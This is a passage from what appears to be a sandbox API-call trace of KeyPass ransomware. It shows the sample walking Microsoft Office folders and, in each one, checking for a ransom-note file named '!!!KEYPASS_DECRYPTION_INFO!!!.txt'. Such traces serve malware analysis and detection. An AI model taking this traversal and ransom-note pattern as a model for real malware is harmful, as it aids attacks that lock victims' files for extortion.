lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.776] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.776] GetLastError () returned 0x3f0 [0271.776] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\microsoft.office.workflow.actions.proxy.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\microsoft.office.workflow.actions.proxy.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.776] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\microsoft.office.workflow.actions.proxy.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.777] GetFileType (hFile=0x1038) returned 0x1 [0271.778] CloseHandle (hObject=0x1038) returned 1 [0271.778] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.778] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.778] GetLastError () returned 0x3f0 [0271.778] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\microsoft.sharepoint.workflowactions.proxy.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\microsoft.sharepoint.workflowactions.proxy.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.778] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\microsoft.sharepoint.workflowactions.proxy.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.778] GetFileType (hFile=0x103c) returned 0x1 [0271.779] CloseHandle (hObject=0x103c) returned 1 [0271.779] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.779] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.779] GetLastError () returned 0x3f0 [0271.779] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\OMICAUT.DLL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\OMICAUT.DLL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.779] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\OMICAUT.DLL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.780] GetFileType (hFile=0x1040) returned 0x1 [0271.781] CloseHandle (hObject=0x1040) returned 1 [0271.781] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.781] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.781] GetLastError () returned 0x3f0 [0271.781] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\SignalRClient.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\SignalRClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.781] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\SignalRClient.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.782] GetFileType (hFile=0x1048) returned 0x1 [0271.783] CloseHandle (hObject=0x1048) returned 1 [0271.783] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.783] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.783] GetLastError () returned 0x3f0 [0271.783] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\PackageManifests\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\PackageManifests\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.783] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\PackageManifests\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.785] GetFileType (hFile=0x104c) returned 0x1 [0271.785] CloseHandle (hObject=0x104c) returned 1 [0271.785] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.785] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.785] GetLastError () returned 0x3f0 [0271.785] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.785] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.824] GetFileType (hFile=0x1050) returned 0x1 [0271.825] CloseHandle (hObject=0x1050) returned 1 [0271.825] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.825] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.825] GetLastError () returned 0x3f0 [0271.825] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Client\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Client\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.825] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Client\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.827] GetFileType (hFile=0x1054) returned 0x1 [0271.827] CloseHandle (hObject=0x1054) returned 1 [0271.828] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.828] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.828] GetLastError () returned 0x3f0 [0271.828] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.828] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.852] GetFileType (hFile=0x1058) returned 0x1 [0271.853] CloseHandle (hObject=0x1058) returned 1 [0271.853] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.853] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.853] GetLastError () returned 0x3f0 [0271.853] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\PUB60COR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\PUB60COR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.853] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\PUB60COR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.861] GetFileType (hFile=0x1044) returned 0x1 [0271.862] CloseHandle (hObject=0x1044) returned 1 [0271.862] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.862] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.862] GetLastError () returned 0x3f0 [0271.862] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\Publisher\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\Publisher\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.862] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\Publisher\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.863] GetFileType (hFile=0x105c) returned 0x1 [0271.864] CloseHandle (hObject=0x105c) returned 1 [0271.864] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0271.864] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.864] GetLastError () returned 0x3f0 [0271.864] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\Publisher\\Backgrounds\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\Publisher\\Backgrounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.864] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\CLIPART\\Publisher\\Backgrounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.865] GetFileType (hFile=0x1060) returned 0x1 [0271.866] CloseHandle (hObject=0x1060) returned 1 [0271.866] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.866] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.866] GetLastError () returned 0x3f0 [0271.866] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.866] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.892] GetFileType (hFile=0x1068) returned 0x1 [0271.893] CloseHandle (hObject=0x1068) returned 1 [0271.893] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.893] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.893] GetLastError () returned 0x3f0 [0271.893] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Colors\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Colors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.893] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Colors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.898] GetFileType (hFile=0x1064) returned 0x1 [0271.898] CloseHandle (hObject=0x1064) returned 1 [0271.898] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.899] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.899] GetLastError () returned 0x3f0 [0271.899] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Effects\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Effects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.899] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Effects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.900] GetFileType (hFile=0x106c) returned 0x1 [0271.900] CloseHandle (hObject=0x106c) returned 1 [0271.901] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.901] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.901] GetLastError () returned 0x3f0 [0271.901] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.901] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Document Themes 16\\Theme Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.901] GetFileType (hFile=0x1070) returned 0x1 [0271.902] CloseHandle (hObject=0x1070) returned 1 [0271.902] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.902] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.902] GetLastError () returned 0x3f0 [0271.902] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Flattener\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Flattener\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.902] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Flattener\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.907] GetFileType (hFile=0x1074) returned 0x1 [0271.907] CloseHandle (hObject=0x1074) returned 1 [0271.907] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.907] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.907] GetLastError () returned 0x3f0 [0271.907] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\fre\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\fre\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.908] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\fre\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.910] GetFileType (hFile=0x107c) returned 0x1 [0271.911] CloseHandle (hObject=0x107c) returned 1 [0271.911] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.911] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.911] GetLastError () returned 0x3f0 [0271.911] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Integration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Integration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.911] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Integration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.912] GetFileType (hFile=0x1080) returned 0x1 [0271.912] CloseHandle (hObject=0x1080) returned 1 [0271.912] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.913] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.913] GetLastError () returned 0x3f0 [0271.913] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Licenses\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Licenses\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.913] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Licenses\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.913] GetFileType (hFile=0x1084) returned 0x1 [0271.914] CloseHandle (hObject=0x1084) returned 1 [0271.914] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.914] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.914] GetLastError () returned 0x3f0 [0271.914] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Licenses16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Licenses16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.914] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Licenses16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.915] GetFileType (hFile=0x1088) returned 0x1 [0271.915] CloseHandle (hObject=0x1088) returned 1 [0271.916] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.916] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.916] GetLastError () returned 0x3f0 [0271.916] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\loc\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\loc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.916] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\loc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.940] GetFileType (hFile=0x108c) returned 0x1 [0271.941] CloseHandle (hObject=0x108c) returned 1 [0271.941] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.941] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.941] GetLastError () returned 0x3f0 [0271.941] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.941] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.270] GetFileType (hFile=0x1078) returned 0x1 [0272.271] CloseHandle (hObject=0x1078) returned 1 [0272.271] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 